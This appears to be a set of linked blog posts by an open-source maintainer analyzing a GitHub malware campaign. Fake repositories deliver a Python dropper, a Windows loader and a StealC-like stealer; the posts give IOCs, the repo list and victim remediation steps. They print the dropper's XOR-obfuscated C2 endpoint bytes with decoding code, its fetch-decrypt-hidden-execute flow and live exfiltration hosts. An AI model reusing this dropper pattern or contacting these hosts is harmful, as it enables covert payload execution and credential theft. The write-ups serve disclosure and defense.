The repository name and description were close enough to my project to be immediately noticeable, but it was not pretending to be my exact repository. It presented itself as a CLI-style wrapper built on top of UBWA.

What triggered the closer look was the social proof.

The repository was only about a month old, had zero issues, zero pull requests, and almost no visible community activity — yet it had already accumulated more stars than my actual project. The fork count also looked suspiciously high, and the overall relationship between age, activity, stars, and forks did not look organic.

That was the point where this stopped looking like a strange third-party wrapper and started looking like something deceptive. Once I started reading the code, it became obvious that this was not just opportunistic naming — it was malicious.

That was the beginning of the rabbit hole.

The initial write-up went up the next day:

• nailproxy.space: A Multi-Repository GitHub Malware Campaign

At that point I had already confirmed a set of fake repositories and filed a GitHub report. What I did not know yet was what the malware chain actually did after the victim ran the code.

This post is about that part — and about the second question that naturally followed once the first one was answered:

What else is this operator doing, and how much of this campaign is actually visible?

One point is worth stating precisely from the beginning: the GitHub delivery chain was undocumented before this analysis. That does not mean every backend component was unknown. One of the later-stage infrastructure elements — 62.60.226.113 — had already been tagged individually on ThreatFox as StealC-related infrastructure in December 2025. What had not been documented publicly was the connection between that backend and this specific fake-repository delivery chain, or the role of nailproxy.space within it.

The two questions

By the time I sat down to work through this properly, there were two concrete questions I wanted answered:

1. What does the malware actually do on a victim machine?
   It is one thing to say “this is malicious.” It is another to tell affected developers exactly which credentials, sessions, wallets, and tokens they should now assume are compromised.

2. How large is the operation behind it?
   The fake GitHub repos were the visible part. I wanted to know whether they were the entire campaign or just one delivery channel for something bigger.

Both questions turned out to be answerable.

A quick note on resources

Before the technical part, one thing is worth saying clearly: I did this on a personal-developer budget, not on a commercial threat-intel budget.

That meant leaning on free tiers and public services where possible, and accepting that some pivots and sample sources would simply be out of reach. A well-equipped threat-intel team could probably have moved faster and pulled in more data from premium services. But most of what follows was still reproducible with public tooling, free APIs, and a few focused hours.

The services that mattered most were:

• VirusTotal — for hashes, domains, IP metadata, sample upload, and especially the per-sandbox behavior views

• abuse.ch (ThreatFox / MalwareBazaar / URLhaus) — for IOC correlation and public malware context

• AlienVault — for IOC correlation and public malware context

• Hybrid Analysis — for metadata on dropped files and cross-sample visibility

• Shodan — useful in limited ways even on the free tier

• GitHub code search — essential for scoping the public-facing repository cluster

• crt.sh — for certificate-transparency pivots

And yes, AI-assisted analysis played a real role throughout.

I want to be transparent about that, because it genuinely changed the speed of the work. Writing fetchers, pivoting on new indicators, normalizing data from different APIs, and moving quickly from one lead to the next is exactly where that kind of tooling is useful. Every substantive finding still had to be checked against raw output, but the glue work was dramatically faster.

What the malware does — the kill chain

The chain breaks down into three stages:

1. a Python dropper embedded in the fake repositories

2. a native Windows loader

3. the final payload

Each stage is different, and each answered a different part of the investigation.

Stage 1 — the Python dropper

If a victim clones one of the fake repositories and runs main.py, the entry point is wrapped in an @ensure_env decorator imported from a utils/ module.

That decorator is the trigger.

On first call, it runs a short initialization sequence: operating-system check, Python-version check, architecture check (x64/x86 only; ARM exits quietly), then a delivery handshake to the campaign infrastructure.

The endpoint construction is hidden inside compat.py:

_COMPAT_LEVEL = 194   # disguised as a "compat level"

_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])

A single-byte XOR against 0xC2 decodes this to:

https://api.nailproxy.space

The HMAC-SHA256 secret used for the handshake is hidden in the same file, presented as a dictionary of “platform hashes”.

From there, the flow is straightforward:

• POST /api/v1/auth/session returns a nonce and timestamp

• the dropper signs the values with the embedded HMAC key

• POST /api/v1/data/sync returns an AES-GCM-encrypted blob

• the Python code decrypts it

• checks for an MZ header

• writes it to %TEMP%\~DF<random>.exe

• launches it with CREATE_NO_WINDOW

• deletes the executable afterwards

There is no console window and usually nothing obvious for the user to notice.

One detail stood out immediately: four of the five utils/*.py files were byte-identical across the fake repositories I confirmed. Only compat.py varied — and even that varied in a controlled way, with the same exact file size and the same purpose. The logic remained the same; the constants rotated just enough to break simple file-hash matching.

That is not an accidental copy-paste mess. That is deliberate operational design.

Stage 2 — the loader

The decrypted payload is a Windows PE64 executable of roughly 11.1 MB that masquerades as sysconf.exe.

Its metadata is designed to look harmless: fake Microsoft-style branding, fake service names, plausible-looking version information. In Task Manager it would not look immediately suspicious to most users.

What made this binary interesting was how little static visibility it offered.

• I got no useful YARA hits against a large public ruleset covering major commodity stealers.

• FLOSS recovered nothing meaningful — no clear strings, no stack-built strings, no easy decoded artifacts.

• It had no prior public submissions when first uploaded for analysis.

At the same time, capa still exposed important structural clues:

• FNV-style API hashing

• PE export-table walking

• ChaCha20/Salsa20-related capability signals

• multi-layer XOR behavior

• evidence of a command/interpreter style architecture

• a heavily opaque PE layout dominated by a large .data section

That combination strongly suggested a custom or private loader, not a commodity off-the-shelf first stage.

What it did not justify, on its own, was a direct family attribution to Rhadamanthys or anything else. The architecture was loader-like and heavily obfuscated, but the value here was in understanding its role in the chain, not in forcing a family label where the evidence was thinner than the behavior.

Stage 3 — the final payload

Static analysis of the loader only got me so far. The next step required dynamic behavior.

When I first uploaded the sample to VirusTotal, the top-level behavior summary was misleadingly empty: no visible process tree, no DNS, no obvious file writes, no network activity.

The per-sandbox view told a different story.

Some sandboxes were clearly being detected and evaded. One of them — CAPE — made it far enough to reveal the full chain:

sysconf.exe
  ├── drops: msedgeview.dll
  ├── launches: rundll32.exe msedgeview.dll,#3
  └── launches: chrome.exe --disable-gpu --no-sandbox --disable-extensions
                 --user-data-dir=%TEMP%\v20_0000FF100B60 about:blank

That behavior matters.

The dropped DLL was small — about 55 KB — compared to the 11 MB loader that delivered it. That size imbalance strongly suggests the loader’s job is primarily staging, anti-analysis, and controlled execution rather than carrying the final value itself.

The Chrome launch line is even more important. The temporary v20_... profile path is highly characteristic of modern browser-theft workflows targeting Chrome App-Bound Encryption, introduced in recent Chrome builds. Instead of trying to decrypt protected secrets directly, the malware abuses Chrome’s own execution context to do it.

The network behavior showed two distinct roles.

Delivery infrastructure

• https://api.nailproxy.space

• /api/v1/auth/session

• /api/v1/data/sync

Exfiltration / tasking infrastructure

• https://62.60.226.113:6673

• https://spellmarketplace.club

Both exfiltration endpoints used the same path style:

/<24-character-alphanumeric-id>/[h|g|u]

So api.nailproxy.space appears to be the delivery channel, while the actual post-infection communications go elsewhere.

Payload attribution: consistent with StealC v2, high-confidence inferred

The strongest attribution signal came from the exfiltration side.

The IP 62.60.226.113 had already appeared in public StealC-related reporting on ThreatFox before this GitHub campaign became visible. Combined with the observed behavior — DLL execution via rundll32, browser abuse for Chrome decryption, geolocation probes, the URL-path shape, and the overall post-infection flow — the final-stage behavior is best described as consistent with StealC v2.

The evidence for that inference is:

• 62.60.226.113 had already been tagged independently on ThreatFox as StealC-related infrastructure

• the URL-path schema /<24-char-alnum>/[h|g|u] matches documented StealC-style behavior

• the Chrome App-Bound Encryption bypass pattern matches documented StealC v2 reporting

• the rundll32-based DLL execution and geolocation probes match public StealC v2 tradecraft descriptions

• the overall anti-analysis and post-infection behavior fit the same profile

What I am not claiming is a direct family signature match for the final DLL. I did not get a direct public YARA hit tying this exact sample to StealC, and I did not independently unpack and reverse the DLL itself. The attribution is therefore best framed as high-confidence inferred from infrastructure correlation and behavioral overlap, not as a direct code-signature confirmation.

That distinction matters.

What a victim should assume is exposed

Based on the observed behavior plus public StealC v2 reporting, a victim should assume exposure of at least the following categories of data:

• saved browser credentials

• browser cookies and active sessions

• autofill data and browsing history

• browser-based wallet-extension data

• desktop wallet files where present

• Telegram Desktop session data

• Discord tokens/session artifacts

• locally stored credentials for developer, cloud, VPN, FTP, or remote-access tooling

• files in user directories, depending on configuration and operator choices

For the likely audience of these lures — developers, traders, crypto-adjacent users, and technically comfortable individual operators — that combination is severe.

If a victim used browser-based exchange sessions, API keys, local wallets, cloud credentials, or developer tokens on the affected machine, they should assume those assets are compromised until proven otherwise.

How large is the backend?

This part was informative in a different way.

The GitHub-facing cluster

Based on the available code-search pivots, the public GitHub repository cluster appears bounded for now.

A code search against three distinctive comment strings from the byte-identical utils/*.py modules returned exactly the same 19 repositories across all three queries. That is strong convergent evidence for the public-facing scope.

There are important caveats:

• GitHub code search only covers public repositories

• very recent repositories might not yet be indexed

• private repositories would not appear

• repositories already removed during the takedown process would not appear

Within those limits, the cleanest statement is:

19 confirmed public repos, likely complete for the publicly visible and indexed scope at the time of analysis.

Those 19 fake repos were spread across 17 distinct accounts, with two accounts contributing two repos each.

The real infrastructure

The exfiltration side was more interesting.

The IP 62.60.226.113 appears to sit on shared hosting infrastructure rather than on a dedicated operator-owned host. In other words, it should not be treated as a unique single-campaign asset. That matters because over-pivoting on the IP alone would create noise and false positives.

At the same time, I found evidence of at least one additional loader sample associated with the same broader operator pattern and the same spellmarketplace.club exfiltration side, but not obviously delivered through the same GitHub repo chain.

That suggests the fake GitHub repositories are likely one delivery channel, not the whole operation.

Timeline

What to do if you ran one of these repositories

If you executed main.py or any equivalent entry file from one of the fake repositories on Windows, I would treat that machine as compromised.

In practical order:

1. Disconnect the system from the network.

2. Preserve evidence if needed, then wipe and reinstall rather than trying to “clean” it in place.

3. Rotate every password used in any browser on that machine, prioritizing:

   • exchange and banking accounts

   • email accounts

   • GitHub / GitLab

   • cloud providers

   • VPN / SSO

4. Invalidate active sessions anywhere that supports it.

5. Revoke and reissue API keys, including exchange, cloud, CI/CD, GitHub, and PyPI tokens.

6. Treat browser-extension wallets and local-wallet material as exposed and move funds to fresh wallets created on trusted hardware.

7. Review Telegram, Discord, and other persistent-session apps and invalidate all active sessions.

8. Inform employers or vendors if any corporate credentials, tokens, or keys were present on that machine.

Speed matters. The longer the gap between execution and response, the greater the attacker’s opportunity to cash out sessions, credentials, and wallets.

IOCs

Hashes

loader (stage 2):
251037ceebfbacd419b663ebcf0e01ec80a2c46dbfc85f66492c8585b481fb8c

stealer DLL (stage 3):
c27590c766583599eac98ed3e20c54e49c792be409f126577e7475294affac1f

sibling loader:
155dc73761ebaab0e4f5c0e18cf09dbd5728ce61361db218a5727355ca8adc1a

stage-1 Python module hashes:
utils/bootstrap.py : 54111f7e5f7aa425704fb45bf79d4e354cfb959f2c22aee6cbb79730d5a6a3aa
utils/http.py      : b3668182408c4078e20c04d03a04804bc9640238361af9a15d44c3950192eedc
utils/integrity.py : 041f48d92b7b410c93c83d8352e3b0c18ca2e10dfce8cbc38748ab862b08982e
utils/__init__.py  : 37380d20800d196e3a20fc98fba80d1365a63acbf9dadad7debc48e157520edd
run.bat            : c5866b202eb5fc7009ee045952d893c1b373d965f9491f8502075de11c132d62

Network

delivery:
https://api.nailproxy.space
/api/v1/auth/session
/api/v1/data/sync

exfiltration/tasking:
62.60.226.113:6673
https://spellmarketplace.club

pre-exfil geolocation probes:
ip-api.com
ipinfo.io
ipapi.co

Repository cluster

The confirmed fake GitHub repositories are listed in the earlier campaign post:

• nailproxy.space: A Multi-Repository GitHub Malware Campaign

The related IOCs were also submitted to ThreatFox/AlienVault and are now part of the public threat intelligence ecosystem.

Two practical lessons for defenders

Two technical points are worth highlighting for anyone doing similar work.

1. Per-sandbox behavior matters

A summary behavior view can miss the entire chain if some sandboxes are evaded cleanly. In this case, looking only at the top-level behavior summary would have left the sample looking inert.

The useful data came from the per-sandbox views.

2. The best correlation marker is not just the IP

The shared exfiltration host is on shared infrastructure. The more useful operator marker is the combination of:

• custom-port HTTPS

• the /<24-char>/[h|g|u] path shape

• the sysconf.exe masquerade pattern

• the delivery link back to api.nailproxy.space

That combination is far more useful than the IP by itself.

Final note

What started as a simple self-search for my own project name turned into something much bigger.

First it looked like one fraudulent repository. Then it became a small GitHub campaign. Then the delivery chain opened up into a loader and a final-stage payload consistent with StealC v2.

That progression is exactly why these fake repositories matter.

They are not just repo clones, not just SEO abuse, and not just brand confusion. They are a working malware-delivery channel aimed at the kinds of users who are most likely to have valuable sessions, tokens, wallets, and developer credentials on the same machine.

If you maintain an open-source project, this is a good reminder to occasionally search for your own project name. Sometimes that is all it takes to find the beginning of a much larger problem.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Update (2026-04-22, 13:33): I submitted this case to GitHub Support for campaign-level review. Ticket ID: 4313391.

Further update (2026-04-23): I published a deeper technical follow-up covering the delivery chain, loader behavior, and StealC-linked final-stage payload analysis.
Read: From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space

TL;DR: What initially looked like a single fraudulent repository impersonating UNICORN Binance WebSocket API now appears to be part of a broader multi-repository GitHub malware campaign.
Across the currently confirmed set, the repositories share the same C2 infrastructure, the same staged Windows payload flow, the same deceptive repository framing, and the same manipulated-looking social proof patterns.
At the time of writing, I have 19 confirmed repositories in scope. The list is likely incomplete.

This post is a follow-up to my earlier write-up on the fraudulent repository impersonating UNICORN Binance WebSocket API:

• Security Warning: Fraudulent GitHub Repository Impersonating UNICORN Binance WebSocket API

That first article focused on one repository. Further analysis shows that the UBWA-themed repository is very likely one lure inside a broader campaign.

How This Started

The starting point was a repository using the UNICORN-Binance-WebSocket-API name while the legitimate project is maintained separately through the official project channels:

• Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api

• Official PyPI package: unicorn-binance-websocket-api

What initially made the fraudulent repository stand out was the mismatch between its visible development footprint and its public social proof. That led to a closer static review of the startup path, which in turn exposed staged Windows payload behavior.

From there, the obvious next question was:

Is this an isolated repository, or part of something larger?

The answer now appears to be: something larger.

Campaign Summary

Across the currently confirmed set, the repositories share several core properties:

• the same decoded C2 host

• the same session and sync paths

• the same staged Windows payload execution flow

• the same deceptive facade pattern

• the same or highly similar utils/ module structure

• the same repeated commit choreography

• the same manipulated-looking star and fork behavior

At the time of writing, I have 19 confirmed repositories associated with this pattern.

Shared Infrastructure

The strongest campaign signal is the infrastructure overlap.

Across all confirmed samples I reviewed, the per-repository XOR-decoding logic in utils/compat.py resolves to the same endpoint:

https://api.nailproxy.space

The same repositories also use the same two application paths:

• POST /api/v1/auth/session

• POST /api/v1/data/sync

The visible code also contains the same DNS-bypass strategy and the same Windows-oriented fallback behavior.

Deobfuscated Indicators

The following values are relevant from a defensive and incident-response perspective:

• C2 endpoint: https://api.nailproxy.space

• Session path: /api/v1/auth/session

• Sync path: /api/v1/data/sync

• Hard-coded fallback IP: 104.21.0.1

• Additional IP present in pool: 172.67.0.1

• Transport fallback: curl.exe --resolve

• Payload type: Windows PE (MZ)

• Temp prefix: ~DF

• Staged extension: .exe

• Launch flag: 0x08000000 (CREATE_NO_WINDOW)

These indicators are included as defensive context only.

Shared Execution Flow

The execution flow is consistent across the analyzed repositories.

In the UBWA-themed repository, the application entry point is decorated with @ensure_env in main.py, which means the environment bootstrap path executes immediately when the application starts.

A simplified version of the visible flow looks like this:

1. Check operating system support and Python version.

2. Check whether the architecture is x64 or x86.

3. Decode the remote endpoint from XOR-obfuscated byte arrays.

4. Request a session object from /api/v1/auth/session.

5. Sign the returned challenge using HMAC-SHA256.

6. Request an encrypted blob from /api/v1/data/sync.

7. Decrypt the blob with AES-GCM.

8. Hand the result to bootstrap.apply() in a daemon thread.

9. Stage the result as a Windows executable in temp.

10. Launch it without a visible window.

11. Delete the staged file afterward.

The same overall structure appears in the other confirmed samples, even where lure topic, README framing, or facade modules differ.

Shared Dropper Components

One of the clearest signs that this is a campaign rather than unrelated copycats is the shared utils/ structure.

The key modules are:

• utils/__init__.py

• utils/bootstrap.py

• utils/compat.py

• utils/http.py

• utils/integrity.py

In the UBWA and TurnKey samples, four of these files are byte-identical:

• __init__.py

• bootstrap.py

• http.py

• integrity.py

Only compat.py differs, and that difference is narrow: the XOR key and encoded byte arrays vary per repository, but the decoded result still points to the same C2.

That strongly suggests a reusable generation pattern rather than hand-written independent tooling.

Commit and Timing Pattern

The commit history also shows repetition.

Across multiple repositories, the commit pattern follows the same sequence:

1. Initial commit

2. Script release

3. Update README.md

4. Add files via upload

The important part is the last step.

That final upload is where the malicious utils/ path appears.

In the two repositories under gesine1541ro7, both repos were created within minutes of each other, and both received the malicious upload on the same day only minutes apart.

That is not what normal open-source iteration looks like.

It looks like batch preparation followed by staged weaponization.

Social-Proof Manipulation

The social-proof pattern is also highly unusual.

In the UBWA-themed repository:

• 816 total stars

• 607 stars on 2026-03-17

• 204 stars on 2026-03-18

That means 811 of 816 stars arrived on two consecutive days, well after repository creation.

In the TurnKey sample:

• 83 total stars

• 82 stars on a single day

The fork pattern is equally suspicious.

The visible fork-owner names follow a repeated structure that looks machine-generated, and there is confirmed overlap between fork accounts across multiple campaign repositories.

That does not prove every single account is controlled by the same operator, but it is more than enough to treat the apparent popularity of these repositories as untrustworthy.

Lure Diversity

Another notable feature of the campaign is the range of lure topics.

The currently confirmed repositories include themes such as:

• Binance and crypto trading tools

• Web3 airdrop or farming bots

• GPT wrappers and jailbreak tools

• OSINT tooling

• fake CVE/security research tools

• AI utility tools

• cryptography-related libraries

That is important because it shows the campaign is not narrowly focused on one brand or one audience.

The pattern is broader:

use plausible developer-adjacent or trader-adjacent bait, attach a polished facade, then reuse the same malware delivery architecture underneath.

Confirmed Repository Set

At the time of writing, I have 19 confirmed repositories in scope:

1. gesine1541ro7/UNICORN-Binance-WebSocket-API

2. gesine1541ro7/TurnKey-Auto-Bot

3. lucija8320nhung4/HacxGPT

4. MarCmcbri1982/KawaiiGPT

5. Kaleighc793/freqtrade-bot

6. Janis174756/Binance-Futures-Trading-Bot

7. lauraevz6y70/gnark-crypto

8. Jamie3t1991/BeraChainTools

9. FrankDavis236869/spyder-osint

10. CrystALqsxvk39/Python-Bitcoin-Utils

11. Courtneybake80/Polyseed-Monero

12. courtneyb8345/pharos-automation-bot

13. Della38840/Robinhood

14. charlo1492charlo14928/openfi-bot

15. Giuditta8/Uomi-Testnet

16. Jessica74016/CVE-2025-8088

17. fernandez81188studio/SORA2-Watermark-Remover

18. Annehuqr0Craft96/Mitosis-Farm

19. charlo1492charlo14928/NFT-Yield-Farming

This list should be treated as a confirmed minimum, not a complete boundary.

What Is Confirmed vs. What Is Likely

It is important to separate what is directly supported from what is still inference.

Confirmed

• multiple repositories decode to the same C2 host

• the same session and sync paths recur

• the same staged Windows payload flow recurs

• the same utils/ architecture recurs

• the same repeated commit pattern recurs

• the same manipulated-looking star and fork patterns recur

• fork-account overlap exists across campaign repositories

Likely, but still incomplete

• the campaign is larger than the currently confirmed set

• some account clusters are rotating identities used by the same operator or operator group

• the visible star/fork activity is synthetic or purchased

• the lure set is still expanding or can be regenerated on demand

That distinction matters. It keeps the write-up grounded.

Pycache and Build Fingerprint

I also checked the committed .pyc files in the UBWA-themed repository.

They do not contain a hidden second-stage path that differs from the visible facade source. In other words, the malicious behavior is already present in the visible source path.

What is more interesting is the asymmetry:

• committed __pycache__ exists for facade modules

• no equivalent committed cache set was present for the malware-bearing utils/ path in the UBWA sample

That is not proof of workflow by itself, but it is consistent with a timeline in which the facade was developed or tested locally first, and the malware-bearing utils/ path was introduced later.

Why This Matters

This matters for three reasons.

1. It is an ecosystem trust problem

This is not just about one repo name.

It is about abusing trust signals developers rely on:

• recognizable topics

• polished READMEs

• stars and forks

• plausible project structures

• familiar library ecosystems

2. It targets real user behavior

The repositories are designed around realistic behavior:

• cloning code from GitHub

• running python main.py

• launching via run.bat

• trusting a tool because it looks connected to a known project or topic

3. The lure themes are operationally smart

The campaign does not depend on one niche. It spans trading, AI, crypto, automation, and developer tooling.

That is exactly how a scalable lure operation behaves.

Recommended Response

If you ran one of these repositories on Windows, I would treat the host as potentially compromised.

Recommended next steps:

1. isolate the system

2. preserve evidence

3. review endpoint protection / EDR / antivirus telemetry

4. inspect recent process execution and temp-directory activity

5. review outbound connections

6. rotate potentially exposed credentials

7. revoke and recreate exchange/API credentials where relevant

I would also strongly recommend reporting the relevant repositories and accounts to GitHub.

Request for Independent Validation

The current confirmed set is useful, but likely incomplete.

If others want to independently validate or extend this set using only public repository metadata and static source review, that additional confirmation would be valuable.

I am not asking anyone to interact with the infrastructure, execute the code, or probe the C2.

Useful contributions would be things like:

• confirming additional repositories that decode to the same C2

• validating reuse of the same utils/ architecture

• checking for broader account overlap

• identifying additional star/fork anomalies

• correlating commit timing and upload choreography

Final Note

The first fraudulent UBWA-themed repository was enough to justify a warning.

The broader pattern now justifies something stronger:

this does not look like an isolated deceptive repository. It looks like a repeatable GitHub malware campaign using multiple lures, shared infrastructure, and manufactured trust signals.

Open source depends on trust.

Campaigns like this are dangerous not only because they deliver payloads, but because they systematically erode the assumptions people make about what looks legitimate on public platforms.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Update (2026-04-22): Further analysis indicates that this fraudulent repository is likely one lure within a broader GitHub malware campaign.
Across the currently confirmed set, multiple repositories share the same decoded C2 (api.nailproxy.space), the same staged Windows payload flow, similar utils/ dropper architecture, repeated commit choreography, and manipulated-looking social proof.
Follow-up analysis: nailproxy.space: A Multi-Repository GitHub Malware Campaign

Further update (2026-04-23): I published a deeper follow-up on the delivery chain, loader, and StealC-linked final-stage behavior behind this campaign.
Read: From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space

TL;DR: Do not clone or run gesine1541ro7/UNICORN-Binance-WebSocket-API.
Based on the public startup path, it stages and executes a hidden Windows PE payload at launch.
The legitimate project lives here: oliver-zehentleitner/unicorn-binance-websocket-api
Official package: unicorn-binance-websocket-api on PyPI

A GitHub repository using the name UNICORN-Binance-WebSocket-API is not a legitimate UBWA console, clone, or community wrapper.

After reviewing the public repository contents, my assessment is:

This is a fraudulent repository impersonating the UNICORN Binance WebSocket API project while using a fake Binance console narrative as cover for staged Windows payload execution.

This post documents what I observed, why I consider it malicious, and what I am doing next.

Why I Looked at It

I maintain the legitimate UNICORN Binance WebSocket API project through the official project channels:

• Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api

• Official PyPI package: unicorn-binance-websocket-api

The repository I analyzed is this one:

• Fraudulent repository: gesine1541ro7/UNICORN-Binance-WebSocket-API

What initially stood out was not just the reused project name, but also the mismatch between its visible development footprint and its social proof.

At the time of writing, the repository publicly shows:

• 816 stars

• 453 forks

• 0 issues

• 0 pull requests

• 1 contributor

• 4 commits

That profile is highly unusual for a repository with such limited visible activity.

Another detail that stood out early is the mismatch between the reported fork count and the practically empty-looking public fork surface. Combined with the naming patterns I observed on visible fork-owner accounts, that makes the social proof look even less credible.

This Is Not a UBWA Console

On the surface, the repository presents itself as a Python-based Binance streaming console. Its README describes it as an interactive console for real-time market data streaming using the unicorn-binance-websocket-api library.

That framing is deceptive.

This repository is not the official UBWA project. It is also not a harmless console wrapper in any meaningful sense. The console story functions as camouflage around the real startup behavior.

The observable code path shows that the project’s real purpose is not interactive Binance tooling. Its meaningful behavior happens immediately at launch and leads into remote retrieval, decryption, staging, and execution of a Windows payload.

What I Observed in the Startup Path

The critical behavior starts at program launch.

In main.py, the main() entry point is decorated with @ensure_env:

@ensure_env
def main():

That matters because ensure_env from utils/__init__.py is executed on the very first invocation of the TUI — before the user makes any menu selection.

Execution Flow in utils/__init__.py::_init()

Based on the visible code path, _init() performs the following sequence:

1. OS check (win32 / linux / darwin) and Python version check (≥ 3.8).

2. Architecture check: arch_label() must return x64 or x86, otherwise the code returns early.

3. Remote endpoint construction using XOR-obfuscated strings from compat.py.

4. HTTP handshake to POST /api/v1/auth/session to obtain session data such as {nonce, ts}.

5. HMAC-SHA256 signing of the returned challenge data.

6. POST /api/v1/data/sync with the derived signature to retrieve an encrypted payload.

7. AES-GCM decryption of the returned blob.

8. Handoff of the decrypted blob to bootstrap.apply() in a background daemon thread.

That is not normal behavior for a Binance console.

Payload Staging and Execution

The strongest signal appears in utils/bootstrap.py.

utils/bootstrap.py::apply()

Based on the exposed code path, the bootstrap routine:

• expects magic bytes MZ, the classic header of a Windows PE executable

• writes the blob into the system temp directory

• uses a temp prefix resembling Office-style lock artifacts

• renames the file to .exe

• starts it with creationflags=0x08000000 (CREATE_NO_WINDOW)

• waits for process completion

• removes the staged file afterward

In plain language:

the Python application retrieves, stages, and silently executes a Windows executable payload

This is the core reason I consider the repository malicious and fraudulent.

Platform Targeting

The visible logic suggests that Windows x86/x64 users are the likely target.

The code path checks the architecture label and only proceeds with the suspicious bootstrap flow for x64 and x86. The bootstrap logic itself also contains an operating system check that avoids executing the payload path on non-Windows systems.

That means Linux, macOS, and ARM-based environments may see relatively harmless behavior, while Windows users are exposed to the actual payload flow.

From an attacker perspective, that is an effective way to reduce suspicion during casual review.

Technical Details

Hidden Trigger Before Any Real Use

One of the more important details here is not just what the code does, but when it does it.

The suspicious flow is not hidden behind a rare feature, a debug mode, or a later menu action. It is tied directly to the application start through the decorator on main().

That means a user can be exposed simply by running:

python main.py

No meaningful interaction is required.

Deobfuscated Endpoint

The endpoint is not stored as a plain string. It is built from byte arrays in utils/compat.py and XOR-decoded at runtime.

A simplified reconstruction looks like this:

# From utils/compat.py
_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])
_COMPAT_LEVEL = 194  # 0xC2

raw = _API_SCHEMA + _API_HOST + _API_DOMAIN + _API_TLD
ep = bytes(b ^ 0xC2 for b in raw).decode()
# -> "https://api.nailproxy.space"

That is not something a legitimate Binance TUI would normally need to hide.

Encryption / Decryption Path

Another detail that makes this stand out is the decryption implementation.

The visible logic uses AES-GCM to decrypt the fetched payload. It also appears to include a Windows-specific fallback path using bcrypt.dll if the Python cryptography package is not available.

That matters because it reduces friction for execution. In other words, the suspicious flow does not appear to depend on a clean Python package environment in order to decrypt and continue.

File Staging Behavior

The bootstrap stage writes the decrypted blob into the temp directory, then renames it from a temporary filename to an executable filename before starting it.

The observed pattern is notable for two reasons:

• the temporary prefix appears designed to look innocuous

• the process is launched without a visible window

Combined with cleanup behavior after execution, this is consistent with staged payload delivery rather than normal application behavior.

Deobfuscated Indicators

The following values are relevant from a defensive and incident-response perspective:

These indicators should be handled as defensive context, not as operational instructions.

Pycache Analysis

The repository also contains committed .pyc files under __pycache__/, which is unusual for a small public Python project of this kind.

I decompiled the committed bytecode to determine whether the cached bytecode differed from the visible Python source.

Result

• the committed .pyc files are benign in the narrow sense that they match the visible .py files

• I found no hidden second-stage logic in those committed cache files

• the malicious behavior is already present in the visible source path

That result is useful because it rules out one obvious alternative explanation.

The repository is not “harmless in source, malicious only in cache.” The visible source itself is already enough to justify the assessment above.

Additional Observation

There is no __pycache__ for the utils/ malware-related module path.

That is interesting from a timeline perspective.

A plausible interpretation is that the attacker first worked on the visible facade, and the malicious utils/ path was introduced later and pushed without a corresponding committed cache set. I cannot prove that sequencing from this fact alone, but it is consistent with staged repository preparation rather than an ordinary Python project history.

Obfuscation and Presentation

Another reason this repository is concerning is how normal it tries to look.

The repository metadata also raises a separate trust problem: GitHub reports a very high fork count, while the visible fork surface appears disproportionately thin. I cannot fully prove the provenance of those forks from public metadata alone, but the mismatch is one more reason not to treat the repository’s apparent popularity as organic.

The project includes:

• a polished README

• a plausible Binance/TUI story

• generic utility module names like compat, http, integrity, and bootstrap

• normal-looking comments and docstrings

• exception swallowing through debug logging rather than user-visible failures

Taken together, this does not look accidental.

It looks like a repository designed to appear legitimate long enough for a user to trust it.

Why This Matters Beyond One Repository

This is not only about name confusion.

It is about trust boundaries.

If a malicious repository can borrow the identity of a known project, accumulate artificial-looking credibility, and trigger hidden execution at startup, then the attack is not just on one maintainer. It is an attack on the trust model developers and users rely on when selecting tools.

This is also related to a broader security lesson I discussed in an earlier Binance API case study:

• When IP Whitelisting Isn’t What It Seems: A Real-World Case Study from the Binance API

That earlier case was about false security assumptions around trust boundaries. This case is different in implementation, but similar in principle: users often assume they are protected by a boundary that turns out to be weaker than expected.

A compromised workstation can make those assumptions much more dangerous.

What I Verified

The following points are directly supported by the public repository and GitHub interface at the time of writing:

• A public repository exists under the name gesine1541ro7/UNICORN-Binance-WebSocket-API.

• It publicly shows 816 stars, 453 forks, 0 issues, 0 pull requests, 1 contributor, and 4 commits.

• Its README presents it as a Binance streaming console using the unicorn-binance-websocket-api library.

• Its entry point decorates main() with @ensure_env.

• The visible startup path performs a remote session flow, challenge signing, encrypted blob retrieval, decryption, and handoff to a bootstrap routine.

• The visible bootstrap routine stages and launches a Windows PE executable.

• The committed .pyc files match the visible .py files and do not introduce a separate hidden payload path.

• GitHub provides an official abuse reporting path for active malware or exploits.

Activity Log

2026-04-22

• Identified a public GitHub repository using the UNICORN-Binance-WebSocket-API name while the legitimate project is maintained separately.

• Reviewed the publicly exposed startup path and observed behavior consistent with staged Windows payload execution.

• Decompiled the committed .pyc files and confirmed they do not contain a separate hidden payload path beyond the visible source.

• Preserved technical evidence and documented the relevant indicators.

• Prepared a GitHub abuse report for repository review.

Recommended Response for Users

If you executed this repository on a Windows system, I would treat that host as potentially compromised.

Recommended next steps:

1. Isolate the system.

2. Preserve evidence before wiping anything.

3. Review endpoint protection / antivirus / EDR telemetry.

4. Inspect recent process execution and temporary-file activity.

5. Review outbound connections.

6. Rotate any potentially exposed credentials.

7. Revoke and recreate exchange/API credentials where applicable.

